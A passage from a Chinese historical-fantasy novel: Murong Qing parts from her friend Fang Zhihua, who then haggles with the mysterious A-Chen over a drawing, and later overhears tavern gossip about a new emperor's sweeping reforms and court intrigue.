慕容氏世代镇守皇陵,以肉身克制通天藤,开坝泄洪,不过是凭借血脉特殊,耗尽己躯罢了。即便身死魂销,遗骸犹存余效。
十二陵三百年大计,为天下苍生,更为一代英主永治盛世的宏愿。
或许,唯有真正归于尘土,慕容氏才能结束生来注定的宿命,得以安息。
阿琛如此,可见与家族情谊深厚。
“……总不能是我早逝的亲爹吧?”慕容青无奈地揉了揉胀痛的额角,心绪纷乱。乱猜亦无用,只能下次再想办法逮住阿琛,另行逼问。
*
日上三竿,她小心地拿起画纸折好,贴身收入怀中。此时方知画刚起不久,正嘟囔着要下楼吃饭,门外传来了不疾不徐的敲门声。
“大小姐,是老奴。”一个略上年纪却中气十足的声音传来,恭谨道,“听闻您在此处,老奴特带人来接您回府。”
“福伯!”方知画惊喜地上前拉开房门,门外果然站着消息楼的大管家福伯,他身后跟着七八名气息沉稳、体形精壮的护卫,一看便是好手。
与此同时,走廊斜对面另一间上房的门也打开了,一位身着炽烈红衣的异族少女,琥珀色的双眸亮得惊人,正昂首阔步向这边走来。
“赵青,人你也找到了,该兑现诺言了。”
她毫不客气直欲跨门而入,被消息楼的人拦下。两边顿时剑拔弩张,楼下朔风布的人手闻声蠢蠢欲动。
慕容青叹一口气,上前朗声道:“圣女稍等,待我与朋友说两句话。”又对福伯颔首示意,到底是从小多有照拂的长辈,习惯了。
福伯莫名其妙,虽觉这青年似曾相识,但孤男寡女共处一室颇为不妥,只看在据报是他救回大小姐的份上,勉强忍住没有多言。
乌兰珠挑眉,也没反对,退开半步,看着面前的门重新又关上。
“知画,我昨晚嘱咐你的事,还记得吗?”
门内,慕容青向方知画正色道,“答应我,就当作是一场离奇的梦,不要对任何人提起,也绝不可以再卷进来。”
“记得记得,你说的每一个字我都放在心上。”方知画压低声音急急问道:“外面那个异族女人是谁?她说的承诺是什么意思?”
“没什么,一点朝廷里的事,我答应帮她一个小忙。”慕容青露出安抚的笑容,“别担心,办完了事我就回甄城。”
“你不跟我一起走啊,”方知画闻言失落,但也并非不知其中利害,“那你自己千万小心!”
“我明白。”慕容青点点头,从怀中又取出一幅早已封好的书信,“还要麻烦你帮我把这封家书,私下交给我叔父叔母,免得他们挂念。”
方知画慎重接过,“包在我身上。”
“知画,”慕容青看着她的模样,心头涌起暖意,由衷道:“谢谢你。”
“咱俩客气什么,”方知画狡黠地眨眨眼,“等你回来,陪我看十本《幽冥地府恶鬼集》。”
慕容青深吸口气,呵呵一笑,将方知画推了出去。
方家的马车就停在客栈楼下,福伯将大小姐请上车厢,待行出一段距离,才试探问起那青年姓甚名谁,日后方便上门答谢云云。
方知画随口胡乱搪塞,福伯又问道,“那他为何临走时,要伸出五根手指头比划?”
“五本。”方知画把头搁在马车窗户上叹气,“她就只肯陪我看五本。”
正行驶着,忽地前方有人拦路,马车急停,福伯等人悚然一惊,立刻戒备地护卫在方知画车前。
一个沙哑却熟悉的嗓音悠然响起:
“她不陪你,我可以陪你看啊。”
阿琛慢悠悠地走了过来。他换了一身普通衣裳,头发束得整齐,除了脸色依旧有些苍白,看上去与常人无异。
“大胆贼子,还敢来放肆!”
福伯等人立刻拔刀,被方知画忙不迭喝止,“一场误会福伯,我是误入了山洞迷宫才被困的,与此人无关。”
“阿琛是吧,”左右这个人不会真的害她,方知画不顾劝阻跳下马车,清了清嗓子装模作样道,“你来找我所为何事?”
阿琛嘴角带着惯有的那点令人捉摸不透的笑意,十分配合道:“在下想与方大小姐做一笔交易。”
方知画不解其意,问:“交易什么?”
“方小姐的墨宝。”阿琛言简意赅,语气轻松得像是在讨杯茶喝,“倒不知小姐还有此等过目不忘的本领,画得挺好,给我也画一幅呗?”
“五百两银子,现付。”他也伸出五根手指,还加码道:“画本我也可以陪小姐看。”
方知画闻言先是一惊,随后嫌弃地蹙眉,“谁要你陪了。”
没想到这人一直潜藏在附近窥探,恐怕是找客栈要笔墨纸砚时露了行迹。她想了想,眼珠子一转,露出一副生意人的精明表情:“一口价,三千两,概不赊账。”
“呵呵。”阿琛笑眯眯道,“方小姐看我值三千两吗?我可以卖身求画。”
*
慕容青与乌兰珠离开望云镇后,取道北上,快马疾行,前往王城。为了不过于显眼,他们时常混迹于番商队伍之中,与形形色色的人一道同行。
近日,行商旅客聚在客栈歇脚时,交头接耳谈论最多的,不再是各地货物行情或奇闻轶事,而是新帝登基后,雷霆推行的“变法”。
市井街巷,到处议论纷纷。这晚一行人刚刚入城,寻了间酒家用饭。邻桌坐着几个似乎是本地乡绅的人,酒酣耳热之际,正高谈阔论。
“……清丈田亩!还要搞什么‘限田令’!”一个
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胖汉满面红光,也不知是酒气还是怒气,“我祖上辛苦积攒的田产,凭什么要定个上限?超出的部分,朝廷说要‘赎买’,你们知道用什么赎买吗?”
他大力一拍桌子,“用那新发的‘天佑通宝’!可新钱比旧钱贱了三成不止!这分明是强抢!”
“还有盐铁专卖,”另一个瘦削的中年男子捻着稀疏的胡须,愁眉苦脸接口道,“以往咱们还能淘换点便宜的私盐,现下全归‘平准司’管,可不是徒增开销……”
“听说东南沿海那边闹得更凶,朝廷要废除贱籍,允许疍民没人上岸,还要分田地给他们,当地人当然不干,都快要打起来了……”有人小声补充。
乌兰珠饶有兴致地听着这些话,有时还要凑上去插两句发问。慕容青兀自慢慢吃喝,并不理会,角落里另有一桌,言谈议论的声音刻意压低了很多,也就她耳力过人,勉强能听个七八分。
“哎,连周相爷都被罢官了!就因为在朝会上直谏,说新法‘剥民敛财,动摇国本’,触怒了龙颜,当天就被革去一切官职,勒令回乡闭门思过。”
“那可不,”另一人接口道,“如今裴侍郎被火速擢升为首辅,成裴相爷了!果然是一朝天子一朝臣,内阁、六部,听说都换了一大批人!新上来的,大都是陛下亲自考察提拔的,不少出身寒微,但颇有才干。”
“出身寒微,不代表就真的没有靠山。”说话的人卖关子道,“老夫有个远亲在吏部当书办,也算是略有耳闻……有些个新晋之士,可是受过国师点拨的。”
“那有什么,国师广行善事开设学堂,受云天教资助的读书人多了去了。”
“这倒是,可新帝要准许女子参与科举入仕,不会也是受了国师的影响吧?叫我说,女子还是要安生些好,为官作将,简直胡闹,可笑!”
“自然,国师乃长公主出身,是最尊贵的神女,怎可将寻常女子与之相提并论。”
“这新法都是些荒谬举措,迟早难以为继……”
“小二,再来壶酒!”乌兰珠津津有味地从隔壁回来,叽里呱啦开始与她的同族讨论,末了还非要问慕容青,“你怎么看?”
慕容青放下筷子,淡淡道:“成王败寇,不怎么看。”国策为长远计,数十年乃至更久方能见功过利弊,,非一时可辨之事,更不可急于一时。
她并不曾想,燕平胸中藏有如此多的经纶韬略,可见当年望月崖上,他所言的治国安邦之志,由来已久。然而甫一践祚登极,便将所有的抱负一股脑付诸实行……连她这样性情的人,都觉操之过急。
难道他身边,竟无一人敢出言劝谏么?
思及此处,慕容青总觉有些不对。或许此番重逢,她可尝试进言一二。
乌兰珠撇了撇嘴,显然嫌这回答很是无趣,话锋一转:“说起来,晋王据闻‘突发恶疾’,病得还挺重,卧床不起,一应事务皆由晋王妃代为处置。”
“这当口,启元帝倒敕封了他的小儿子为世子。”她意有所指轻笑道,“本来嘛,在我们部落,女人带来的孩子,只要认下了,养大了,一样是自己的血脉。”
慕容青睨她一眼,没有接话。这“重病”里掺着多大的水分,大家心照不宣。
自那夜石破天惊的一声“父亲”,晋王府的老狮子与幼狮之间,便注定只能留下一头。而林氏远比她看起来柔美无辜的外表要有手腕得多,晋王落得此番下场,还真是应了那句天理昭彰,报应不爽。